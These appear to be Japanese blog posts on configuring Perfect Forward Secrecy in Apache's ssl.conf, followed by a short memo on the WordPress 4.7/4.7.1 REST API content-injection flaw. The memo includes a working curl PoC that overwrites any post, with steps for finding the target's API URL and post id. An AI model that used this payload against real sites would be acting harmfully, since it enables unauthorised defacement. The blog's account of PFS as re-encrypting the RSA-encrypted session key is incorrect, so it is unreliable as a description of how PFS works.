Perfect Forward Secrecy の設定

前回の記事で、PFSについて話したので、今回は実際にサーバーへの導入方法について説明します。

導入と言っても何かをインストールしたりするわけではなく(SSL/TLSが導入されている前提)、"ssl.conf"ファイルを編集するだけです。

やりたいことは、①利用するSSLプロトコルのヴァージョン指定、②クライアント^サーバー間で利用する暗号化アルゴリズムの指定、③サーバー側のSSL/TLS設定を優先させるように指定、の3つです。

ではやっていきます。

 

"ssl.conf"のデフォルトフルパスは

CentOSだと「/etc/httpd/conf.d/ssl.conf」

Ubuntuだと「/etc/apache2/mods-available/ssl.conf」

です。

 

"ssl.conf"の中身を見ていくと、SSLProtocol , SSLCipherSuite , SSLHonorCipherOrder という文字列があるはずです。

それぞれ、

SSLProtocol がバージョンの指定

SSLCipherSuite が暗号化アルゴリズムの指定

SSLHonorCipherOrder が優先設定の指定

になります。

 

まず、SSLProtocol ですが、"SSLv2","SSLv3","TLSv1","TLSv1.1","TLSv1.2" のそれぞれの頭に"+"をつけると利用可、"-"を付けると利用不可になります。また、"all"を指定すると全てのプロトコルが利用可能になります。

TLSのみ利用する場合は

SSLProtocol all -SSLv2 -SSLv3

 という感じになります。SSLには脆弱性があるので、TLSを利用しましょう。また、さらに強固にするのであれば、TLSv1とTLSv1.1も不可にしTLSv1.2のみの利用にすると良いです。

 

続いて、SSLCipherSuite ですが、利用する暗号化アルゴリズムの組み合わせを羅列します。サーバーにて利用可能なアルゴリズムは、openssl ciphers -v と打つと一覧で見れます。

PFSに対応する暗号化アルゴリズムは、"ECDHE"と"DHE"を利用した組み合わせです。ですので、この2つが入っている組み合わせを一覧の中から探し、それを羅列する形になります。

以下が例です。

SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-CAMELLIA128-SHA:DHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-SHA256:DHE-RSA-CAMELLIA256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:ECDHE-RSA-AES256-SHA

それぞれどんなアルゴリズムかわからない人は、上のをコピペでいいと思います。(いらないのが幾つかあります。たぶん。)

 

最後に、SSLHonorCipherOrder です。これを入れると、サーバー側でのSSL/TLSの設定を優先させることができます。上でせっかく設定したので、忘れずに入れましょう。(実際、サーバー側の設定で暗号通信することがほとんどなので、もしかするといらないかも?)

SSLHonorCipherOrder

頭の # を消すだけでOKです。

 

以上がサーバーにPFSを導入する方法になります。

これであなたも"SSL/TLS"マスターだ!

 

余談だけど、DH鍵共有って仕組みが結構面白いから、時間あったら調べてみることをオヌヌメします。

 

【参考文献】

1)ディフィー・ヘルマン鍵共有

 

 

 

Perfect Forward Secrecy の設定 をするための前提知識

自分のサーバーを Qualys SSL Labs社 の SSL Server Test で調べたら Forward Secrecy に対応できてないブラウザがあると警告が出た。

なんやそれと思い、"PFS"についていろいろ調べてみたのでまとめてみる。

 

まず、SSL/TLSにはいろんな暗号アルゴリズムがあり、HTTPS通信ではそのいくつかの暗号アルゴリズムを組み合わせてデータの暗号化を行っている。
この時点で分からない人は、色んな解説サイトがあるのでお先にそちらをご覧ください()
そして、ここで最低限必要な知識は、暗号化通信は"他人に見えない通信"ではなく、"他人に見えるけど暗号化されてて内容が分からない通信"ということ。
当たり前のことだけど、"PFS"の概念を知る上で非常に重要になる。

 

"PFS"が関わってくるのは、共通鍵をクライアントがサーバーに暗号化して送る場面。
共通鍵はクライアントが公開鍵で暗号化して送り、サーバーが秘密鍵で復号する。以降はこの共通鍵を使って暗号化・復号化を両者が行うことでクライアント^サーバー間での暗号化通信が実現できるわけですね。
ここで問題なのが、サーバー側にある秘密鍵が漏洩した場合。
公開鍵を用いて暗号化した共通鍵のデータを持っていれば、漏洩した秘密鍵を用いて復号できる。つまり、"共通鍵"が漏洩する。
共通鍵が漏洩すると、クライアント^サーバー間での暗号化された通信データは全て復号化できる。
ようするに、秘密鍵の漏洩=今までの暗号通信が全て漏洩する、ということ。

 

ここでまた話をそらすと、暗号化された共通鍵とか暗号化された通信のデータとか、そんなのどうやって取得するの?ってことだけど、それはよく知らない・・・
ただ、本国の諜報機関は暗号化されたデータを全て保存してるとか何とか言う話もある。現実的な話をするなら、特定のサイトを狙ってそのサーバーが送受信する暗号化データを全て保存し、そのサーバーの秘密鍵が漏洩したら保存してた暗号化データを復号することで、そのサイトの機密情報を知るとか?ならありえる話。
という感じで、まあ、現実味無い気もするけど、「大手サイトでよくある『秘密の質問』で『母親の旧姓は?』を選ぶと、母親に認証を突破される脆弱性が発生する」なんてことを言う人が集う情報セキュリティ業界じゃ、これも危ないという認識になるわけですね。

 

そんなこんなで、秘密鍵の漏洩に対する解決策として登場した概念が"PFS"こと Perfect Forward Secrecy (日本語だと"前方秘匿性"らしい?)です。
要するに、将来的(前方)に秘密鍵が漏洩した場合でも、復号できない(秘匿性)ようにする仕組み。
では、具体的にどういうものなんだって話ですね。
実はとても簡単で、暗号化した共通鍵をさらに他の暗号化アルゴリズムを用いて暗号化するだけ。
ただし、この時使う暗号化アルゴリズムの鍵は"セッション毎にランダムで生成"しなければならない。
そうすることで、秘密鍵が漏れても共通鍵は別の暗号アルゴリズムでも暗号化されてるから複合できないし、その暗号アルゴリズムの鍵は使い捨てだからどの鍵を使ったかわからない。
よって、共通鍵の復号はほぼ不可能になるわけです。

 

以上のことを知ってれば、サーバーでの設定が楽になるはずです。

 

全くわからないよって人に向けに、例えで流れを書いときます。(正確には色々違いますが、理解し易いように書いてるので悪しからず・・・)

 

共通鍵=「3文字ずらす」

公開鍵=「数字を+3する」

秘密鍵=「数字を-3する」

とします。

 

まず、クライアントが共通鍵を公開鍵を用いて暗号化します:「3文字ずらす」→「6文字ずらす」

次に、サーバーが秘密鍵を用いて共通鍵を復号します:「6文字ずらす」→「3文字ずらす」

クライアント^サーバー間は「6文字ずらす」という通信が行われ、これは第三者に見えますが、共通鍵は「3文字ずらす」なので安全。

しかしここで秘密鍵の「数字を-3する」が漏洩すると、「3文字ずらす」の共通鍵がバレるわけです。

 

じゃあ、PFSではどうなるのか。

PFS用に別の暗号化アルゴリズムを用意します。ここでは、「数字を×4する」と「数字を÷4する」としましょう。

上と同様に、クライアントが共通鍵を公開鍵を用いて暗号化します:「3文字ずらす」→「6文字ずらす」

ここでさらに"別の暗号"を用いて暗号化します:「6文字ずらす」→「24文字ずらす」

サーバーはまず"別の暗号"の復号を行います:「24文字ずらす」→「6文字ずらす」

最後に、サーバーが秘密鍵を用いて共通鍵を復号します:「6文字ずらす」→「3文字ずらす」

ここで第三者が見えるのは「24文字ずらす」です。秘密鍵が漏洩しても「21文字ずらす」になるだけなので共通鍵は安全です。

さらに、「数字を×4する」と「数字を÷4する」はセッション毎に変わり、次に接続した際は「数字を×6する」とか「数字を×9する」とかになるので、どれを使ったかが分からない=復号が難しいというわけです。

これが"PFS"の仕組みになります。

 

この説明だと偉い人から怒らせそうだけど、まあ良いでしょう。

なんか長文になったし、文字だけで読みずらい(小並感

 

【参考文献】

1) httpsだからというだけで安全?調べたら怖くなってきたSSLの話!?

2) PFS(Perfect Forward Secrecy

3) Forward Secrecyとは

 

 

 

WordPress Rest API の脆弱性

むか~し流行った(?)WordPress本体の脆弱性。備忘録程度にまとめます。

対象はversion 4.7 と 4.7.1 。 PoCは以下の通りです(やり方は色々ありますが、ここでは簡単なcurlコマンドでの方法を)。

curl -d "title=hoge" -d "content=foobar" http(s)://[REST API のURL]/wp/v2/posts/[投稿id]/?id=[投稿id+英字]

これだけ。

title=には記事のタイトル、content=には記事の内容をそれぞれ好きなように書く。

[REST API の URL]は、攻撃対象のページのソースに書いてあるはずなので探して下さいな。
<link rel='https://api.w.org/' href='http://[*ここに書いてあるアドレス*]' />

[投稿id]は、各投稿に付与されるidで、投稿一覧の記事タイトルにカーソルを合わせると、ブラウザの下の方にURLが表示され、post=後ろの数字が投稿idに該当する。

[投稿id+英字]は、上の投稿idの直後に適当にアルファベットを付け加える。

以上をxamppで試すと以下のコマンドになる。

curl -d "title=hoge" -d "content=foobar" http://localhost/wordpress/wp-json/wp/v2/posts/1/?id=1A

試してみたい方はぜひご自分の環境で。。。

とまあ、これだけ見ると超簡単だし、事前準備等いらないし、かなりヤバイですねぇ~。

原因に関しては実装に色々問題があったわけですが、そのへんは他のサイトを見てください。

それではノシ

 

【参考文献】

1) WordPress 4.7.1 の権限昇格脆弱性について検証した

2) WordPress 4.7/4.7.1 の Content Injection の脆弱性を確認する